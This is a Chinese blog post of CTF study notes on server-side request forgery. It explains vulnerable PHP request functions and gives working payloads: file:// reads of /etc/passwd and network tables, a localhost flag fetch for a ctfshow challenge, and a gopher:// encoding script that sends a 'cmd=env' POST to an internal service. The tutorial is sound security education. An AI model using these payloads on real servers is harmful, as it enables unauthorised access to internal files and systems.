SSRF

前言

​ ghctf2025遇到了第一次ssrf的题目,这里开始系统的学一下ssrf,例题从ctfshow找。

一、什么是SSRF

​ SSRF(Server-Side Request Forgery,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。

image-20250329180935488

​ 由于防火墙的保护,我们无法直接访问内网,但是服务器可以,我们可以通过服务器来访问内网,这就是SSRF。 ​ 给个简单的例子,攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

​ 具体到代码中则为:

curl_exec()

​ 通过cURL库发起HTTP请求时,若URL由用户输入控制且未验证协议(如file://, dict://, gopher://等),可导致任意文件读取或内网访问。

file_get_contents()

​ 支持多种协议(如http://, https://, file://),若直接拼接用户输入,可读取本地文件或访问内网资源。

  1. fopen()+ fread()

​ 与file_get_contents()类似,支持协议包装器(file://, http://等)

二、SSRF的利用方式

​ 主要是一些伪协议的运用。

​ file伪协议:从文件系统中获取文件内容,格式为file://[文件路径]

1
2
3
4
	file:///etc/passwd ,读取文件
	file:///etc/hosts                显示当前操作系统网卡的IP
	file:///proc/net/arp           显示arp缓存表(寻找内网其他主机)
	file:///proc/net/fib _trie     显示当前网段路由信息

​ 也可直接读取flag

​ http伪协议:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。

1
2
3
4
5
6
http://example.com
http://example.com/file.php?var1 =val1 &var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1 =val1 &var2=val2
https://user:password@example.com

例题一:ctfshowweb351

image-20250330112041857

​ 题目要求post一个url,这里解释一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// 初始化 cURL 会话,目标地址为用户提供的 URL
//cURL默认支持多种协议(包括file://)
$ch = curl_init($url);

// 设置 cURL 选项:不包含响应头
curl_setopt($ch, CURLOPT_HEADER, 0);

// 设置 cURL 选项:将响应结果返回为字符串(而非直接输出)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// 执行 cURL 请求并获取响应内容
$result = curl_exec($ch);

// 关闭 cURL 会话
curl_close($ch);

// 输出响应内容
echo ($result);

​ 有个flag.php,但是直接访问的话会显示禁止非本地用户访问

image-20250330132931605

​ 我们url传入file:///var/www/html/flag.php,然后在源代码可以找到flag

image-20250330133742706

​ 当然也可以用http协议,因为要本地用户访问,我们构造pyload

1
url=http://127.0.0.1/flag.php

image-20250330200538202


​ dict、ftp伪协议

​ 用于端口扫描,对于ctf的题目帮助不大,这里不多做赘述

​ gopher伪协议:可用于GET提交、POST提交、redis、fastcgi、sql

​ 基本格式:gopher://<目标IP>:<端口>/

​ GET提交

​ 示例:提交/flag.php?flag=123,HTTP/1.1,目标主机为127.0.0.1

1
2
gopher://127.0.0.1:80/_get /flag.php?flag=123 HTTP/1.1
Host 127.0.0.1

​ 这是第一步,接下来需要url转码,这里需要注意以下几点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
注意添加端口号80和填充位
URL编码
空格        %20
问号        %3f
换行符        %0d%0A
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符

​ 然后编码为(bp提交需要二次url编码):

1
gopher://127.0.0.1:80/_GET%20/flag.php%3fflag=123%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

​ POST提交

​ 示例:要提交的内容同上,但是需要东西不一样

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:8

flag=123

​ 这些东西可以通过抓一次包之后生成

​ 之后还是要进行编码,可以用编码脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
cmd=env
"""
 
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码
 
#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

​ 然后其他提交就可以用自动生成工具了,Gopherus,主要是用来生成打MySQL和Redis的pyload(还有很多别的)

image-20250402135021970

三、小结

​ ssrf主要难点就是gopher协议,考点大多也是gopher,所以小结就写到这里。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计